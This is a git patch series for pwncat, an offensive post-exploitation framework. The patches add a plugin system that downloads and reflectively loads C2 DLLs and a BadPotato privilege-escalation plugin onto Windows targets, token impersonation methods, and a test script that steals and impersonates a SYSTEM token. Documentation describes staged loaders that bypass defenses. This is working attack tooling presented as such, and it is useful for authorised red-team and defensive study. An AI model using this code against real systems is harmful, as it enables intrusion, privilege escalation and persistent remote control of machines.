From ac74c3d013bf12584d8fa9714f7a3e47aeef27a6 Mon Sep 17 00:00:00 2001 From: Caleb Stewart Date: Sat, 12 Jun 2021 03:10:14 -0400 Subject: [PATCH 1/4] Cleaned up plugin system - Added builtin plugin resolver - Rolled base c2 dlls into plugin resolver - Changed plugin location configuration from `windows_c2_dir` to `plugin_path` --- pwncat/commands/run.py | 12 +- pwncat/config.py | 11 +- pwncat/db.py | 1 + pwncat/facts/windows.py | 2 + pwncat/manager.py | 2 +- pwncat/modules/__init__.py | 3 + .../windows/enumerate/user/__init__.py | 45 ++++ pwncat/platform/__init__.py | 2 +- pwncat/platform/windows.py | 198 +++++++++++++++++- test.py | 34 ++- 10 files changed, 290 insertions(+), 20 deletions(-) diff --git a/pwncat/commands/run.py b/pwncat/commands/run.py index 87ba615..0dc4e38 100644 --- a/pwncat/commands/run.py +++ b/pwncat/commands/run.py @@ -4,12 +4,7 @@ import textwrap import pwncat import pwncat.modules from pwncat.util import console -from pwncat.commands import ( - Complete, - Parameter, - CommandDefinition, - get_module_choices, -) +from pwncat.commands import Complete, Parameter, CommandDefinition, get_module_choices class Command(CommandDefinition): @@ -92,6 +87,11 @@ class Command(CommandDefinition): console.log(f"[red]error[/red]: invalid argument: {exc}") return + if isinstance(result, list): + result = [r for r in result if not r.hidden] + elif result.hidden: + result = None + if args.raw: console.print(result) else: diff --git a/pwncat/config.py b/pwncat/config.py index a5aed07..a9184c3 100644 --- a/pwncat/config.py +++ b/pwncat/config.py @@ -27,8 +27,10 @@ import ipaddress from typing import Any, Dict, List, Union from prompt_toolkit.keys import ALL_KEYS, Keys -from prompt_toolkit.input.ansi_escape_sequences import (ANSI_SEQUENCES, - REVERSE_ANSI_SEQUENCES) +from prompt_toolkit.input.ansi_escape_sequences import ( + ANSI_SEQUENCES, + REVERSE_ANSI_SEQUENCES, +) from pwncat.modules import BaseModule @@ -72,6 +74,9 @@ def local_file_type(value: str) -> str: def local_dir_type(value: str) -> str: """ Ensure the path specifies a local directory """ + # Expand ~ in the path + value = os.path.expanduser(value) + if not os.path.isdir(value): raise ValueError(f"{value}: no such file or directory") return value @@ -109,7 +114,7 @@ class Config: "cross": {"value": None, "type": str}, "psmodules": {"value": ".", "type": local_dir_type}, "verbose": {"value": False, "type": bool_type}, - "windows_c2_dir": { + "plugin_path": { "value": "~/.local/share/pwncat", "type": local_dir_type, }, diff --git a/pwncat/db.py b/pwncat/db.py index 8486d8b..9541c92 100644 --- a/pwncat/db.py +++ b/pwncat/db.py @@ -43,6 +43,7 @@ class Fact(Result, persistent.Persistent): self.types: PersistentList = types # The original procedure that found this fact self.source: str = source + self.hidden: bool = False def __eq__(self, o): """This is probably a horrible idea. diff --git a/pwncat/facts/windows.py b/pwncat/facts/windows.py index 3070970..124ec80 100644 --- a/pwncat/facts/windows.py +++ b/pwncat/facts/windows.py @@ -62,6 +62,7 @@ class WindowsUser(User): principal_source: str, password: Optional[str] = None, hash: Optional[str] = None, + well_known: bool = False, ): super().__init__( source=source, name=name, uid=uid, password=password, hash=hash @@ -78,6 +79,7 @@ class WindowsUser(User): self.password_last_set: Optional[datetime] = password_last_set self.last_logon: Optional[datetime] = last_logon self.principal_source: str = principal_source + self.hidden: bool = well_known def __repr__(self): if self.password is None and self.hash is None: diff --git a/pwncat/manager.py b/pwncat/manager.py index f580d6a..b5df6e5 100644 --- a/pwncat/manager.py +++ b/pwncat/manager.py @@ -257,7 +257,7 @@ class Session: try: # Ensure this bar is started if we are the selected # target. - if self.manager.target == self and not started: + if not started: self._progress = rich.progress.Progress( "{task.fields[platform]}", "•", diff --git a/pwncat/modules/__init__.py b/pwncat/modules/__init__.py index 8b57f07..aa0dd0b 100644 --- a/pwncat/modules/__init__.py +++ b/pwncat/modules/__init__.py @@ -136,6 +136,9 @@ class Result: :func:`category` method helps when organizing output with the ``run`` command.""" + hidden: bool = False + """ Hide results from automatic display with the ``run`` command """ + def category(self, session) -> str: """Return a "category" of object. Categories will be grouped. If this returns None or is not defined, this result will be "uncategorized" diff --git a/pwncat/modules/windows/enumerate/user/__init__.py b/pwncat/modules/windows/enumerate/user/__init__.py index c1c33f7..ce12111 100644 --- a/pwncat/modules/windows/enumerate/user/__init__.py +++ b/pwncat/modules/windows/enumerate/user/__init__.py @@ -41,3 +41,48 @@ class Module(EnumerateModule): last_logon=None, principal_source=user["PrincipalSource"], ) + + well_known = { + "S-1-0-0": "NULL AUTHORITY\\NOBODY", + "S-1-1-0": "WORLD AUTHORITY\\Everyone", + "S-1-2-0": "LOCAL AUTHORITY\\Local", + "S-1-3-0": "CREATOR AUTHORITY\\Creator Owner", + "S-1-3-1": "CREATOR AUTHORITY\\Creator Group", + "S-1-3-4": "CREATOR AUTHORITY\\Owner Rights", + "S-1-4": "NONUNIQUE AUTHORITY", + "S-1-5-1": "NT AUTHORITY\\DIALUP", + "S-1-5-2": "NT AUTHORITY\\NETWORK", + "S-1-5-3": "NT AUTHORITY\\BATCH", + "S-1-5-4": "NT AUTHORITY\\INTERACTIVE", + "S-1-5-6": "NT AUTHORITY\\SERVICE", + "S-1-5-7": "NT AUTHORITY\\ANONYMOUS", + "S-1-5-9": "NT AUTHORITY\\ENTERPRISE DOMAIN CONTROLLERS", + "S-1-5-10": "NT AUTHORITY\\PRINCIPAL SELF", + "S-1-5-11": "NT AUTHORITY\\AUTHENTICATED USERS", + "S-1-5-12": "NT AUTHORITY\\RESTRICTED CODE", + "S-1-5-13": "NT AUTHORITY\\TERMINAL SERVER USERS", + "S-1-5-14": "NT AUTHORITY\\REMOTE INTERACTIVE LOGON", + "S-1-5-17": "NT AUTHORITY\\IUSR", + "S-1-5-18": "NT AUTHORITY\\SYSTEM", + "S-1-5-19": "NT AUTHORITY\\LOCAL SERVICE", + "S-1-5-20": "NT AUTHORITY\\NETWORK SERVICE", + } + + for sid, name in well_known.items(): + yield WindowsUser( + source=self.name, + name=name, + uid=sid, + account_expires=None, + description=None, + enabled=True, + full_name=name, + password_changeable_date=None, + password_expires=None, + user_may_change_password=None, + password_required=None, + password_last_set=None, + last_logon=None, + principal_source="well known sid", + well_known=True, + ) diff --git a/pwncat/platform/__init__.py b/pwncat/platform/__init__.py index 671a0ea..d07aa7a 100644 --- a/pwncat/platform/__init__.py +++ b/pwncat/platform/__init__.py @@ -301,7 +301,7 @@ class Path: """Open the file pointed to by the path, like Platform.open""" return self._target.open( - self, + str(self), mode=mode, buffering=buffering, encoding=encoding, diff --git a/pwncat/platform/windows.py b/pwncat/platform/windows.py index 802b256..80660da 100644 --- a/pwncat/platform/windows.py +++ b/pwncat/platform/windows.py @@ -22,12 +22,14 @@ import time import base64 import shutil import signal +import hashlib import pathlib import tarfile import termios import binascii import readline import textwrap +import functools import subprocess from io import ( BytesIO, @@ -50,7 +52,7 @@ import pwncat.subprocess from pwncat.platform import Path, Platform, PlatformError INTERACTIVE_END_MARKER = b"INTERACTIVE_COMPLETE\r\n" -PWNCAT_WINDOWS_C2_VERSION = "v0.2.0" +PWNCAT_WINDOWS_C2_VERSION = "v0.2.1" PWNCAT_WINDOWS_C2_RELEASE_URL = "https://github.com/calebstewart/pwncat-windows-c2/releases/download/{version}/pwncat-windows-{version}.tar.gz" @@ -180,7 +182,7 @@ class WindowsFile(RawIOBase): try: result = self.platform.run_method( - "File", "write", self.handle, base64.b64encode(data) + "File", "write", self.handle, base64.b64encode(data).decode("utf-8") ) except ProtocolError as exc: # ERROR_BROKEN_PIPE @@ -194,6 +196,43 @@ class WindowsFile(RawIOBase): return nwritten +class DotNetPlugin(object): + """Represents a reflectively loaded .Net plugin within the remote C2 + This class is a helper which makes calling methods within a plugin + more straightforward. If you want to call a method named ``get_system`` + you can use one of two syntaxes: + + .. code-block:: python + + plugin.run("get_system", "arguments", 1, 2, False) + plugin.get_system("arguments", 1, 2, False) + + :param name: basename of the file which was loaded + :type name: str + :param checksum: md5sum of the assembly + :type checksum: str + :param ident: identifier for the remote assembly + :type ident: int + """ + + def __init__(self, platform: "Windows", name: str, checksum: str, ident: int): + + self.names = [name] + self.checksum = checksum + self.ident = ident + self.platform = platform + + def __getattr__(self, key: str): + """Shortcut for calling a method. ``plugin.method()`` is equivalent + to ``plugin.run("method")``.""" + return functools.partial(self.run, key) + + def run(self, method: str, *args): + """ Execute a method within the plugin """ + + return self.platform.run_method("Reflection", "call", self.ident, method, args) + + class PopenWindows(pwncat.subprocess.Popen): """ Windows-specific Popen wrapper class @@ -381,6 +420,20 @@ class PopenWindows(pwncat.subprocess.Popen): return (stdout, stderr) +@dataclass +class BuiltinPluginInfo: + """ Tells pwncat where to find a builtin plugin """ + + name: str + """ A friendly name used when loading the plugin """ + provides: List[str] + """ List of DLL names which this plugin provides """ + url: str + """ URL pointing to a tar.gz file containing the plugin DLL(s) """ + version: str + """ The version number to download (this is formatted into the URL) """ + + class Windows(Platform): """Concrete platform class abstracting interaction with a Windows/ Powershell remote host. The remote windows host must support @@ -389,6 +442,70 @@ class Windows(Platform): name = "windows" PATH_TYPE = pathlib.PureWindowsPath + C2_VERSION = "v0.2.1" + PLUGIN_INFO = [ + BuiltinPluginInfo( + name="windows-c2", + provides=["stageone.dll", "stagetwo.dll"], + url="https://github.com/calebstewart/pwncat-windows-c2/releases/download/{version}/pwncat-windows-{version}.tar.gz", + version="v0.2.1", + ), + BuiltinPluginInfo( + name="badpotato", + provides=["BadPotato.dll"], + url="https://github.com/calebstewart/pwncat-badpotato/releases/download/{version}/pwncat-badpotato-{version}.tar.gz", + version="v0.0.1-alpha", + ), + ] + + def open_plugin(self, name: str) -> BytesIO: + """ + Open the given plugin DLL for reading and return an open file object. + If the given name matches a builtin plugin, it will be used. If a + builtin plugin is not available, it will be downloaded from it's URL + and saved in the provided plugin path. + + :param name: name of the plugin being requested + :type name: str + :param plugin_path: path to the directory to store plugins + :type plugin_path: str + :rtype: BytesIO + """ + + for plugin in self.PLUGIN_INFO: + if name in plugin.provides: + break + else: + return open(name, "rb") + + path = ( + pathlib.Path(self.session.config["plugin_path"]) + / plugin.name + / plugin.version + / name + ).expanduser() + if not path.exists(): + path.parent.mkdir(parents=True, exist_ok=True) + url = plugin.url.format(version=plugin.version) + + with self.session.task( + f"downloading {plugin.name}", status="grabbing archive" + ) as task: + with requests.get( + plugin.url.format(version=plugin.version), + stream=True, + ) as request: + data = request.raw.read() + with tarfile.open(mode="r:gz", fileobj=BytesIO(data)) as tar: + for provided in plugin.provides: + self.session.update_task( + task, status=f"extracting {provided}" + ) + with tar.extractfile(provided) as provided_filp: + with (path.parent / provided).open("wb") as output: + shutil.copyfileobj(provided_filp, output) + + return path.open("rb") def __init__( self, @@ -400,6 +517,7 @@ class Windows(Platform): super().__init__(session, channel, *args, **kwargs) self.name = "windows" + self.plugins = [] # Initialize interactive tracking self._interactive = False @@ -415,9 +533,6 @@ class Windows(Platform): # Tracks paths to modules which have been sideloaded into powershell self.psmodules = [] - # Ensure we have the C2 libraries downloaded - self._ensure_libs() - self._bootstrap_stage_two() self.refresh_uid() @@ -427,7 +542,6 @@ class Windows(Platform): # Load requested libraries # for library, methods in self.LIBRARY_IMPORTS.items(): # self._load_library(library, methods) - # def exit(self): """Ensure the C2 exits on the victim end. This is called automatically @@ -574,7 +688,8 @@ function prompt { ) # Read the loader - with stageone.open("rb") as filp: + # with stageone.open("rb") as filp: + with self.open_plugin("stageone.dll") as filp: loader_dll = base64.b64encode(filp.read()) # Extract first chunk @@ -657,7 +772,7 @@ function prompt { self.channel.recvuntil(b"\n") # Load, Compress and Encode stage two - with stagetwo.open("rb") as filp: + with self.open_plugin("stagetwo.dll") as filp: stagetwo_dll = filp.read() compressed = BytesIO() with gzip.GzipFile(fileobj=compressed, mode="wb") as gz: @@ -1343,3 +1458,70 @@ function prompt { raise PowershellError(exc.message) return [json.loads(x) for x in result["output"]] + + def impersonate(self, token: int): + """Impersonate a user token in the powershell and .net contexts. + + :param token: the user token to impersonate + :type token: int + """ + + try: + return self.run_method("Identity", "Impersonate", token) + except ProtocolError: + return False + + def revert_to_self(self): + """ Revert any impersonations and return to the original user """ + + return self.impersonate(0) + + def dotnet_load( + self, name: str, content: Optional[Union[bytes, BytesIO]] = None + ) -> DotNetPlugin: + """ + Reflectively load a .Net C2 plugin from the attacker machine. The + plugin DLL should implement the ``Plugin`` class and method interface. + + :param name: name or path to the DLL to upload + :type name: str + :param content: content of the DLL to load or file-like object, if not present on disk + :type content: Optional[Union[bytes, BytesIO]] + """ + + try: + plugin = [plugin for plugin in self.plugins if name in plugin.names][0] + return plugin + except IndexError: + pass + + if content is None: + with self.open_plugin(name) as filp: + content = filp.read() + + if not isinstance(content, bytes): + content = content.read() + + # Calculate the digest + checksum = hashlib.md5(content).hexdigest() + + # Ensure we haven't loaded the same plugin under another name + try: + plugin = [plugin for plugin in self.plugins if plugin.checksum == checksum][ + 0 + ] + plugin.names.append(name) + return plugin + except IndexError: + pass + + # Encode the assembly + assembly = base64.b64encode(content).decode("utf-8") + + # Load the assembly. Let protocol errors propogate + ident = self.run_method("Reflection", "load", assembly) + + plugin = DotNetPlugin(self, name, checksum, ident) + self.plugins.append(plugin) + + return plugin diff --git a/test.py b/test.py index fc120a0..1655448 100755 --- a/test.py +++ b/test.py @@ -20,4 +20,36 @@ with pwncat.manager.Manager("data/pwncatrc") as manager: # session = manager.create_session("linux", host="pwncat-ubuntu", port=4444) # session = manager.create_session("linux", host="127.0.0.1", port=4445) - print(session.platform.Path("./nonexistent.txt").resolve()) + # session.platform.powershell("amsiutils") + + try: + # Load the BadPotato plugin + session.log("leaking system token w/ BadPotato") + badpotato = session.platform.dotnet_load("BadPotato.dll") + + # Call the method within the DLL to leak a system token + system_token = badpotato.get_system_token() + session.log(f"found system token: {system_token}") + session.log("impersonating token...") + + # Impersonate the SYSTEM token + session.platform.impersonate(system_token) + + # Checkout our active user through powershell + result = session.platform.powershell( + "[System.Security.Principal.WindowsIdentity]::GetCurrent().Name" + ) + session.log(f"now running as: {result[0]}") + + session.platform.refresh_uid() + + session.log(session.platform.getuid()) + session.log(session.find_user(uid=session.platform.getuid())) + + except ( + pwncat.platform.windows.ProtocolError, + pwncat.platform.windows.PowershellError, + ) as exc: + session.log(f"badpotato failed: {exc}") + + manager.interactive() From 39cd6aca945e653b82a693ac2cd5224a78e3b3b0 Mon Sep 17 00:00:00 2001 From: Caleb Stewart Date: Sat, 12 Jun 2021 15:12:04 -0400 Subject: [PATCH 2/4] Protected Windows C2 from KeyboardInterrupts --- pwncat/platform/windows.py | 42 ++++++++++++++++++++++++++++++-------- 1 file changed, 33 insertions(+), 9 deletions(-) diff --git a/pwncat/platform/windows.py b/pwncat/platform/windows.py index 80660da..28dd6c9 100644 --- a/pwncat/platform/windows.py +++ b/pwncat/platform/windows.py @@ -463,7 +463,9 @@ class Windows(Platform): Open the given plugin DLL for reading and return an open file object. If the given name matches a builtin plugin, it will be used. If a builtin plugin is not available, it will be downloaded from it's URL - and saved in the provided plugin path. + and saved in the provided plugin path. If the name does not match a + provided plugin DLL, it is interpreted as a path and attempted to be + opened. :param name: name of the plugin being requested :type name: str @@ -589,6 +591,8 @@ class Windows(Platform): if wait: + keyboard_interrupt = False + # Receive the response while True: try: @@ -596,6 +600,14 @@ class Windows(Platform): break except (gzip.BadGzipFile, binascii.Error) as exc: continue + except KeyboardInterrupt: + self.session.log( + "[yellow]warning[/yellow]: waiting for command to complete" + ) + keyboard_interrupt = True + + if keyboard_interrupt: + raise KeyboardInterrupt # Raise an appropriate error if needed if result["error"] != 0: @@ -678,14 +690,6 @@ function prompt { chunk_sz = 1900 loader_encoded_name = pwncat.util.random_string() - stageone = ( - pathlib.Path(self.session.config["windows_c2_dir"]).expanduser() - / f"stageone-{PWNCAT_WINDOWS_C2_VERSION}.dll" - ) - stagetwo = ( - pathlib.Path(self.session.config["windows_c2_dir"]).expanduser() - / f"stagetwo-{PWNCAT_WINDOWS_C2_VERSION}.dll" - ) # Read the loader # with stageone.open("rb") as filp: @@ -1482,11 +1486,31 @@ function prompt { """ Reflectively load a .Net C2 plugin from the attacker machine. The plugin DLL should implement the ``Plugin`` class and method interface. + The name argument can either be a path to a local DLL or the name of a + DLL provided by a built-in plugin. Built-in plugins will be automatically + downloaded if not present in the directory pointed to by the ``plugin_path`` + configuration. + + Plugins are also deduplicated prior to loading on the victim. If a given + DLL name or a file with a matching hash has already been loaded, the existing + plugin object is returned, and the DLL is not loaded again. + + The return :class:`DotNetPlugin` class is capable of cleanly translating method + calls to the methods within the loaded DLL. For example, if ``plugin.dll`` defined + a method named ``foo``, which took a single string argument, you could call it with: + + .. code-block:: python + + plugin = session.platform.dotnet_load("./plugin.dll") + result = plugin.foo("Hello World!") + + Plugins can take as parameters and return any JSON-serializable objects. :param name: name or path to the DLL to upload :type name: str :param content: content of the DLL to load or file-like object, if not present on disk :type content: Optional[Union[bytes, BytesIO]] + :rtype: DotNetPlugin """ try: From 7ec0d2219492153ab71504a441755d28987f5188 Mon Sep 17 00:00:00 2001 From: Caleb Stewart Date: Sat, 12 Jun 2021 16:04:33 -0400 Subject: [PATCH 3/4] Added ability to prestage plugin downloads Added entrypoint option `--download-plugins` to pull down all windows plugins automatically and stage on the attacking machine --- pwncat/__main__.py | 14 ++++++ pwncat/platform/__init__.py | 5 +++ pwncat/platform/windows.py | 90 ++++++++++++------------------------- 3 files changed, 47 insertions(+), 62 deletions(-) diff --git a/pwncat/__main__.py b/pwncat/__main__.py index b6e5211..954385e 100644 --- a/pwncat/__main__.py +++ b/pwncat/__main__.py @@ -30,6 +30,11 @@ def main(): parser = argparse.ArgumentParser( description="""Start interactive pwncat session and optionally connect to existing victim via a known platform and channel type. This entrypoint can also be used to list known implants on previous targets.""" ) + parser.add_argument( + "--download-plugins", + action="store_true", + help="Pre-download all Windows builtin plugins and exit immediately", + ) parser.add_argument( "--config", "-c", @@ -83,6 +88,15 @@ def main(): # Create the session manager with pwncat.manager.Manager(args.config) as manager: + if args.download_plugins: + for plugin_info in pwncat.platform.Windows.PLUGIN_INFO: + with pwncat.platform.Windows.open_plugin( + manager, plugin_info.provides[0] + ): + pass + + return + if args.list: db = manager.db.open() diff --git a/pwncat/platform/__init__.py b/pwncat/platform/__init__.py index d07aa7a..8f8e342 100644 --- a/pwncat/platform/__init__.py +++ b/pwncat/platform/__init__.py @@ -526,6 +526,11 @@ class Platform(ABC): self.Path = RemotePath """ A concrete Path object for this platform conforming to pathlib.Path """ + @property + def manager(self): + """ Shortcut to accessing the manager """ + return self.session.manager + def interactive_loop(self, interactive_complete: "threading.Event"): """Handles interactive piping of data between victim and attacker. If the platform you are implementing does not support raw mode, you must diff --git a/pwncat/platform/windows.py b/pwncat/platform/windows.py index 28dd6c9..5da631b 100644 --- a/pwncat/platform/windows.py +++ b/pwncat/platform/windows.py @@ -458,7 +458,8 @@ class Windows(Platform): ), ] - def open_plugin(self, name: str) -> BytesIO: + @classmethod + def open_plugin(cls, manager: "pwncat.manager.Manager", name: str) -> BytesIO: """ Open the given plugin DLL for reading and return an open file object. If the given name matches a builtin plugin, it will be used. If a @@ -467,21 +468,21 @@ class Windows(Platform): provided plugin DLL, it is interpreted as a path and attempted to be opened. + :param manager: the pwncat manager object used to locate the plugin directory + :type manager: pwncat.manager.Manager :param name: name of the plugin being requested :type name: str - :param plugin_path: path to the directory to store plugins - :type plugin_path: str :rtype: BytesIO """ - for plugin in self.PLUGIN_INFO: + for plugin in cls.PLUGIN_INFO: if name in plugin.provides: break else: return open(name, "rb") path = ( - pathlib.Path(self.session.config["plugin_path"]) + pathlib.Path(manager.config["plugin_path"]) / plugin.name / plugin.version / name @@ -490,22 +491,17 @@ class Windows(Platform): path.parent.mkdir(parents=True, exist_ok=True) url = plugin.url.format(version=plugin.version) - with self.session.task( - f"downloading {plugin.name}", status="grabbing archive" - ) as task: - with requests.get( - plugin.url.format(version=plugin.version), - stream=True, - ) as request: - data = request.raw.read() - with tarfile.open(mode="r:gz", fileobj=BytesIO(data)) as tar: - for provided in plugin.provides: - self.session.update_task( - task, status=f"extracting {provided}" - ) - with tar.extractfile(provided) as provided_filp: - with (path.parent / provided).open("wb") as output: - shutil.copyfileobj(provided_filp, output) + manager.log(f"[blue]windows[/blue]: downloading {plugin.name} plugin") + with requests.get( + plugin.url.format(version=plugin.version), + stream=True, + ) as request: + data = request.raw.read() + with tarfile.open(mode="r:gz", fileobj=BytesIO(data)) as tar: + for provided in plugin.provides: + with tar.extractfile(provided) as provided_filp: + with (path.parent / provided).open("wb") as output: + shutil.copyfileobj(provided_filp, output) return path.open("rb") @@ -627,40 +623,6 @@ function prompt { }""" ) - def _ensure_libs(self): - """This method checks that stageone.dll and stagetwo.dll exist within - the directory specified by the windows_c2_dir configuration. If they do - not, a release copy is downloaded from GitHub. The specific release version - is defined by the PWNCAT_WINDOWS_C2_RELEASE_URL variable defined at the top - of this file. It should be updated whenever a new C2 version is released.""" - - location = pathlib.Path(self.session.config["windows_c2_dir"]).expanduser() - location.mkdir(parents=True, exist_ok=True) - - if ( - not (location / f"stageone-{PWNCAT_WINDOWS_C2_VERSION}.dll").exists() - or not (location / f"stagetwo-{PWNCAT_WINDOWS_C2_VERSION}.dll").exists() - ): - self.session.manager.log( - f"Downloading Windows C2 binaries ({PWNCAT_WINDOWS_C2_VERSION}) from GitHub..." - ) - with requests.get( - PWNCAT_WINDOWS_C2_RELEASE_URL.format(version=PWNCAT_WINDOWS_C2_VERSION), - stream=True, - ) as request: - data = request.raw.read() - with tarfile.open(mode="r:gz", fileobj=BytesIO(data)) as tar: - with tar.extractfile("stageone.dll") as stageone: - with ( - location / f"stageone-{PWNCAT_WINDOWS_C2_VERSION}.dll" - ).open("wb") as output: - shutil.copyfileobj(stageone, output) - with tar.extractfile("stagetwo.dll") as stagetwo: - with ( - location / f"stagetwo-{PWNCAT_WINDOWS_C2_VERSION}.dll" - ).open("wb") as output: - shutil.copyfileobj(stagetwo, output) - def _bootstrap_stage_two(self): """This routine upgrades a standard powershell or cmd shell to an instance of the pwncat stage two C2. It will first locate a valid @@ -693,7 +655,7 @@ function prompt { # Read the loader # with stageone.open("rb") as filp: - with self.open_plugin("stageone.dll") as filp: + with Windows.open_plugin(self.manager, "stageone.dll") as filp: loader_dll = base64.b64encode(filp.read()) # Extract first chunk @@ -713,11 +675,11 @@ function prompt { self.channel.recvline() result = self.channel.recvuntil(b">") if b"denied" not in result.lower(): - self.session.manager.log(f"Good path: {possible}") + self.session.log( + f"dropping stage one in {repr(str(loader_remote_path))}" + ) break else: - self.session.manager.log(f"Bad path: {possible}") - self.session.manager.log(result) raise PlatformError("no writable applocker-safe directories") # Write remaining chunks to selected path @@ -760,7 +722,11 @@ function prompt { # Note whether this is 64-bit or not is_64 = "\\Framework64\\" in install_utils - self.session.manager.log(f"Selected Install Utils: {install_utils}") + version = pathlib.PureWindowsPath(install_utils).parts[-2] + + self.session.log( + f"using install utils from .net [cyan]{version}[/cyan]", highlight=False + ) install_utils = install_utils.replace(" ", "\\ ") @@ -776,7 +742,7 @@ function prompt { self.channel.recvuntil(b"\n") # Load, Compress and Encode stage two - with self.open_plugin("stagetwo.dll") as filp: + with Windows.open_plugin(self.manager, "stagetwo.dll") as filp: stagetwo_dll = filp.read() compressed = BytesIO() with gzip.GzipFile(fileobj=compressed, mode="wb") as gz: @@ -1520,7 +1486,7 @@ function prompt { pass if content is None: - with self.open_plugin(name) as filp: + with Windows.open_plugin(self.manager, name) as filp: content = filp.read() if not isinstance(content, bytes): From 44aff46d93b49881f3e91384cb21d34038a9ed48 Mon Sep 17 00:00:00 2001 From: Caleb Stewart Date: Sat, 12 Jun 2021 17:38:30 -0400 Subject: [PATCH 4/4] Added documentation and workflow for plugin packaging --- .github/workflows/publish.yml | 37 ++++++++++ README.md | 26 +++++++ docs/source/configuration.rst | 5 -- docs/source/index.rst | 1 + docs/source/installation.rst | 42 ++++++++++- docs/source/windows.rst | 132 ++++++++++++++++++++++++++++++++++ 6 files changed, 237 insertions(+), 6 deletions(-) create mode 100644 .github/workflows/publish.yml create mode 100644 docs/source/windows.rst diff --git a/.github/workflows/publish.yml b/.github/workflows/publish.yml new file mode 100644 index 0000000..7a99f38 --- /dev/null +++ b/.github/workflows/publish.yml @@ -0,0 +1,37 @@ +# Automatically pull down the required versions of windows plugins +# and bundle them up for releases. This makes staging on non-internet +# connected systems easier. +name: publish +on: + push: + tags: + - 'v*.*.*' + +jobs: + release: + name: Release + runs-on: ubuntu-latest + if: startsWith(github.ref, 'refs/tags/') + steps: + - name: Checkout + uses: actions/checkout@v2 + - name: Setup Python 3.9 + uses: actions/setup-python@v2 + with: + python-version: "3.9" + - name: Install pwncat Module + run: "python setup.py install" + - name: Download and Archive Plugins + run: | + # Have pwncat download all plugins needed + pwncat --download-plugins + + # They are stored in ~/.local/share/pwncat by default + tar czvf pwncat-plugins.tar.gz --transform='s|.*pwncat/||' ~/.local/share/pwncat/* + + - name: Publish Plugins + uses: softprops/action-gh-release@v1 + with: + files: "pwncat-plugins.tar.gz" + env: + GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }} diff --git a/README.md b/README.md index 32cc33c..233d758 100644 --- a/README.md +++ b/README.md @@ -43,6 +43,30 @@ the latest usage and development documentation! **pwncat requires Python 3.9+.** +## Windows Support + +pwncat now supports windows starting at `v0.4.0a1`. The Windows platform +utilizes a .Net-based C2 library which is loaded automatically. Windows +targets should connect with either a `cmd.exe` or `powershell.exe` shell, and +pwncat will take care of the rest. + +The libraries implementing the C2 are implemented at [pwncat-windows-c2]. +The DLLs for the C2 will be automatically downloaded from the targeted release +for you. If you do not have internet connectivity on your target machine, +you can tell pwncat to prestage the DLLs using the `--download-plugins` +argument. If you are running a release version of pwncat, you can also download +a tarball of all built-in plugins from the releases page. + +The plugins are stored by default in `~/.local/share/pwncat`, however this is +configurable with the `plugin_path` configuration. If you download the packaged +set of plugins from the releases page, you should extract it to the path pointed +to by `plugin_path`. + +Aside from the main C2 DLLs, other plugins may also be available. Currently, +the only provided default plugins are the C2 and an implementation of [BadPotato]. +pwncat can reflectively load .Net binaries to be used a plugins for the C2. +For more information on Windows C2 plugins, please see the [documentation]. + ## Version Details Currently, there are two versions of pwncat available. The last stable @@ -243,3 +267,5 @@ contribute to making `pwncat` behave better on BSD, you are more then welcome to reach out or just fork the repo. As always, pull requests are welcome! [documentation]: https://pwncat.readthedocs.io/en/latest +[pwncat-windows-c2]: https://github.com/calebstewart/pwncat-windows-c2 +[BadPotato]: https://github.com/calebstewart/pwncat-badpotato diff --git a/docs/source/configuration.rst b/docs/source/configuration.rst index 71fc770..d84d133 100644 --- a/docs/source/configuration.rst +++ b/docs/source/configuration.rst @@ -92,11 +92,6 @@ command specified in quotes, or a script block specified in braces as with the .. code-block:: bash - # Enter the local prompt for a single command, then return to raw terminal - # mode - bind c "set state single" - # Enumerate privilege escalation methods - bind p "privesc -l" bind t { # Just an example of a block run report diff --git a/docs/source/index.rst b/docs/source/index.rst index de0cadf..00e9990 100644 --- a/docs/source/index.rst +++ b/docs/source/index.rst @@ -67,6 +67,7 @@ well. Pull requests are always welcome! installation.rst usage.rst + windows.rst configuration.rst modules.rst enum.rst diff --git a/docs/source/installation.rst b/docs/source/installation.rst index 08ad357..eabf1c6 100644 --- a/docs/source/installation.rst +++ b/docs/source/installation.rst @@ -15,7 +15,7 @@ Once you have a working ``pip`` installation, you can install pwncat with the pr # Install pwncat within the virtual environment /opt/pwncat/bin/pip install git+https://github.com/calebstewart/pwncat # This allows you to use pwncat outside of the virtual environment - ln -s /opt/pwncat/bin/pwncat /usr/local/bind + ln -s /opt/pwncat/bin/pwncat /usr/local/bin After installation, you can use pwncat via the installed script: @@ -51,6 +51,46 @@ After installation, you can use pwncat via the installed script: --list List installed implants with remote connection capability +Windows Plugin Binaries +----------------------- + +The Windows target utilizes .Net binaries to stabilize the connection and bypass +various defenses present on Windows targets. The base Windows C2 utilizes two DLLs +named ``stageone.dll`` and ``stagetwo.dll``. Stage One is a simple reflective loader. +It will read the encoded and compressed contents of Stage Two, and execute it +reflectively. Stage Two contains the actual meat of the C2 framework. + +Further, the Stage Two C2 framework provides the ability to reflectively load other +.Net assemblies and execute their methods. The loaded assemblies must conform to the +pwncat plugin API. These APIs are not generally accessible from the interactive +session, and are created more for the Python API. + +Plugins are stored at the path specified by the ``plugin_path`` configuration value. +By default, this configuration points to ``~/.local/share/pwncat``, but can be changed +by your configuration file. If a plugin does not exist when it is requested, the appropriate +version will be downloaded via a URL tracked within pwncat itself. + +If your attacking machine will not have direct internet access, you can prestage the +plugin binaries in two ways. The easiest is to connect your attacking machine to +the internet, and use the ``--download-plugins`` argument: + +.. code-block:: bash + + pwncat --download-plugins + +This command will place all built-in plugins in the plugin directory for you. Alternatively, +if you are using a release version pwncat, you can download a prepackaged tarball of all +builtin plugins from the GitHub releases page. You can then extract it into your plugin path: + +.. code-block:: bash + + # Replace {version} with your pwncat version + cd ~/.local/share/pwncat + wget https://github.com/calebstewart/pwncat/releases/download/{version}/pwncat-plugins-{version}.tar.gz + tar xvfs pwncat-plugins-{version}.tar.gz + rm pwncat-plugins-{version}.tar.gz + + Development Environment ----------------------- diff --git a/docs/source/windows.rst b/docs/source/windows.rst new file mode 100644 index 0000000..e7b5ca3 --- /dev/null +++ b/docs/source/windows.rst @@ -0,0 +1,132 @@ +Windows Support +=============== + +Starting with ``v0.4.0a1``, pwncat supports multiple platform targets. Specifically, +we have implemented Windows support. Windows support is complicated, as a majority +of interaction cannot be simply executed from a shell, and parsed. As a result, we +implemented a very minimal C2 framework, and had pwncat automatically upload and +execute this framework for you. **You only need to provide pwncat a cmd or +powershell prompt**. + +Goals +----- + +When building out Windows support, there were a lot of options. We had to filter out +these options based on the goals for 